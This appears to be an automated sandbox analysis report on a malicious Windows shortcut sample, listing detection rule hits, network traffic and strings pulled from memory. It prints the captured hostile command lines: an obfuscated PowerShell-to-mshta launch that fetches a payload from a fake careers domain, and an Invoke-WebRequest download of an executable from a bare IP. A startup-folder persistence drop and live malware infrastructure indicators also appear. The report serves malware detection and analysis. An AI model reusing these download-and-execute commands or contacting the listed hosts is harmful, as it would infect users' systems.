Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dqcwif.exe" , ParentImage: C:\Users\user\AppData\Roaming\dqcwif.exe, ParentProcessId: 4412, ParentProcessName: dqcwif.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 8156, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", CommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\dqcwif.exe" , ParentImage: C:\Users\user\AppData\Roaming\dqcwif.exe, ParentProcessId: 4412, ParentProcessName: dqcwif.exe, ProcessCommandLine: powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/IAFkh" -OutFile "C:\Users\Public\Guard.exe"", ProcessId: 8156, ProcessName: powershell.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" , ProcessId: 8900, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325'), CommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325'), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\Wbem\wmic.exe" process call create "powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325')", ParentImage: C:\Windows\System32\wbem\WMIC.exe, ParentProcessId: 4148, ParentProcessName: WMIC.exe, ProcessCommandLine: powershell -w 1 powershell -Command ('ms' + 'hta' + '.exe ' + 'https://tiffany-careers.com/ghepduy1325'), ProcessId: 5412, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6308, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 8744, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url

Suricata Signatures

ET MALWARE VBScript Redirect Style Exe File Download

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:39:19.508617+0100	2026434	1	A Network Trojan was detected	147.45.49.155	443	192.168.2.6	49719	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T08:39:33.055367+0100	2803305	3	Unknown Traffic	192.168.2.6	49762	147.45.49.155	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: 7A2lfjTYNf.lnk	Virustotal: Detection: 25%			Perma Link
Source: 7A2lfjTYNf.lnk	ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.6:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 147.45.49.155:443 -> 192.168.2.6:49734 version: TLS 1.2

Source:	Binary string: sethc.pdbGCTL source: mshta.exe, 00000006.00000003.2212037482.000001E84F29A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2212152463.000001E84F205000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2211529393.000001E853230000.00000004.00000020.00020000.00000000.sdmp, ghepduy1325[1].6.dr
Source:	Binary string: sethc.pdb source: mshta.exe, 00000006.00000003.2212037482.000001E84F29A000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2212152463.000001E84F205000.00000004.00000020.00020000.00000000.sdmp, ghepduy1325[1].6.dr

Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B9C7C0 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	19_2_00007FF6B5B9C7C0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B9B7C0 FindFirstFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00007FF6B5B9B7C0
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA72A8 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,	19_2_00007FF6B5BA72A8
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA71F4 FindFirstFileW,FindClose,	19_2_00007FF6B5BA71F4
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B9BC70 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	19_2_00007FF6B5B9BC70
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BAA874 FindFirstFileW,Sleep,FindNextFileW,FindClose,	19_2_00007FF6B5BAA874
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BAA4F8 FindFirstFileW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	19_2_00007FF6B5BAA4F8
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BA6428 FindFirstFileW,FindNextFileW,FindClose,	19_2_00007FF6B5BA6428
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5BAA350 FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,	19_2_00007FF6B5BAA350
Source: C:\Users\user\AppData\Roaming\dqcwif.exe	Code function: 19_2_00007FF6B5B62F50 FindFirstFileExW,	19_2_00007FF6B5B62F50

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2026434 - Severity 1 - ET MALWARE VBScript Redirect Style Exe File Download : 147.45.49.155:443 -> 192.168.2.6:49719

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 Dec 2024 07:39:39 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Last-Modified: Mon, 16 Dec 2024 07:33:56 GMTETag: "da2a8-6295e34064898"Accept-Ranges: bytesContent-Length: 893608Keep-Alive: timeout=5, max=100Connection: Keep-AliveData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 16 73 44 90 52 12 2a c3 52 12 2a c3 52 12 2a c3 14 43 cb c3 50 12 2a c3 cc b2 ed c3 53 12 2a c3 5f 40 f5 c3 61 12 2a c3 5f 40 ca c3 e3 12 2a c3 5f 40 cb c3 67 12 2a c3 5b 6a a9 c3 5b 12 2a c3 5b 6a b9 c3 77 12 2a c3 52 12 2b c3 72 10 2a c3 e7 8c c0 c3 02 12 2a c3 e7 8c f5 c3 53 12 2a c3 5f 40 f1 c3 53 12 2a c3 52 12 bd c3 50 12 2a c3 e7 8c f4 c3 53 12 2a c3 52 69 63 68 52 12 2a c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 f1 5f 70 5a 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0c 00 00 e8 08 00 00 d8 04 00 00 00 00 00 fa 7f 02 00 00 10 00 00 00 00 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 0d 00 00 04 00 00 15 cd 0d 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cc d0 0b 00 7c 01 00 00 00 90 0c 00 50 d7 00 00 00 00 00 00 00 00 00 00 00 86 0d 00 a8 1c 00 00 00 70 0d 00 ac 71 00 00 90 3b 09 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 5b 0a 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 09 00 84 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b1 e7 08 00 00 10 00 00 00 e8 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 8e fd 02 00 00 00 09 00 00 fe 02 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 00 0c 00 00 52 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 d7 00 00 00 90 0c 00 00 d8 00 00 00 3c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 71 00 00 00 70 0d 00 00 72 00 00 00 14 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /Job_Description.pdf HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dqcwif.exe HTTP/1.1Host: tiffany-careers.com
Source: global traffic	HTTP traffic detected: GET /VmnWBYrzn.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 139.99.188.124 139.99.188.124
Source: Joe Sandbox View	IP Address: 139.99.188.124 139.99.188.124

Source: Joe Sandbox View

ASN Name: OVHFR OVHFR

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:49762 -> 147.45.49.155:443

Source: global traffic	HTTP traffic detected: GET /ghepduy1325 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /IAFkh HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknown	TCP traffic detected without corresponding DNS query: 139.99.188.124

Source: C:\Users\user\AppData\Roaming\dqcwif.exe

Code function: 19_2_00007FF6B5BAE87C InternetReadFile,

19_2_00007FF6B5BAE87C

Source: global traffic	HTTP traffic detected: GET /ghepduy1325 HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Job_Description.pdf HTTP/1.1Host: tiffany-careers.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /dqcwif.exe HTTP/1.1Host: tiffany-careers.com
Source: global traffic	HTTP traffic detected: GET /IAFkh HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /VmnWBYrzn.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: tiffany-careers.com
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs

Source: powershell.exe, 00000018.00000002.2503038177.000002035DA51000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2503038177.000002035DFFE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.188.124
Source: dqcwif.exe, 00000013.00000002.2438580826.00000281D2B48000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://139.99.188.124/IAFkhV
Source: powershell.exe, 00000018.00000002.2503038177.000002035DA51000.00000004.00000800.00020000.00000000.sdmp, PublicProfile.ps1.19.dr	String found in binary or memory: http://139.99.188.124/VmnWBYrzn.txt
Source: powershell.exe, 00000018.00000002.2503038177.000002035E2C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://139.99.H
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2174205142.000002370001D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2387052850.000001F2C9291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2503038177.000002035D821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tiffany-careers.com
Source: powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Guard.exe, 0000001C.00000000.2484845641.00000000006B9000.00000002.00000001.01000000.00000010.sdmp, Guard.exe, 0000001C.00000003.2506926999.0000000004A28000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 00000021.00000000.2641644438.0000000000E59000.00000002.00000001.01000000.00000011.sdmp, SwiftWrite.pif.28.dr, Guard.exe.20.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: 2D85F72862B55C4EADD9E66E06947F3D0.17.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: powershell.exe, 00000005.00000002.2174205142.000002370004A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2174205142.000002370005D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2387052850.000001F2C9291000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000018.00000002.2503038177.000002035D821000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: qmgr.db.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000008.00000003.2204354185.000001B4F1990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000018.00000002.2503038177.000002035DF12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.c
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.co
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/
Source: powershell.exe, 00000009.00000002.2387052850.000001F2C94BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/Job_Description.pdf
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/d
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dq
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqc
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqcw
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqcwi
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqcwif
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqcwif.
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqcwif.e
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqcwif.ex
Source: powershell.exe, 00000009.00000002.2387052850.000001F2CE6BE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/dqcwif.exe
Source: powershell.exe, 00000005.00000002.2174205142.00000237001E2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2212152463.000001E84F205000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000006.00000003.2212094517.000001E04C7AC000.00000004.00000020.00020000.00000000.sdmp, 7A2lfjTYNf.lnk	String found in binary or memory: https://tiffany-careers.com/ghepduy1325
Source: powershell.exe	String found in binary or memory: https://tiffany-careers.com/ghepduy1325$global:?
Source: powershell.exe, 00000005.00000002.2175937945.0000023772365000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghepduy13256
Source: powershell.exe, 00000005.00000002.2176390599.0000023772570000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tiffany-careers.com/ghepduy1325;.JSE;.WSF;.WSj
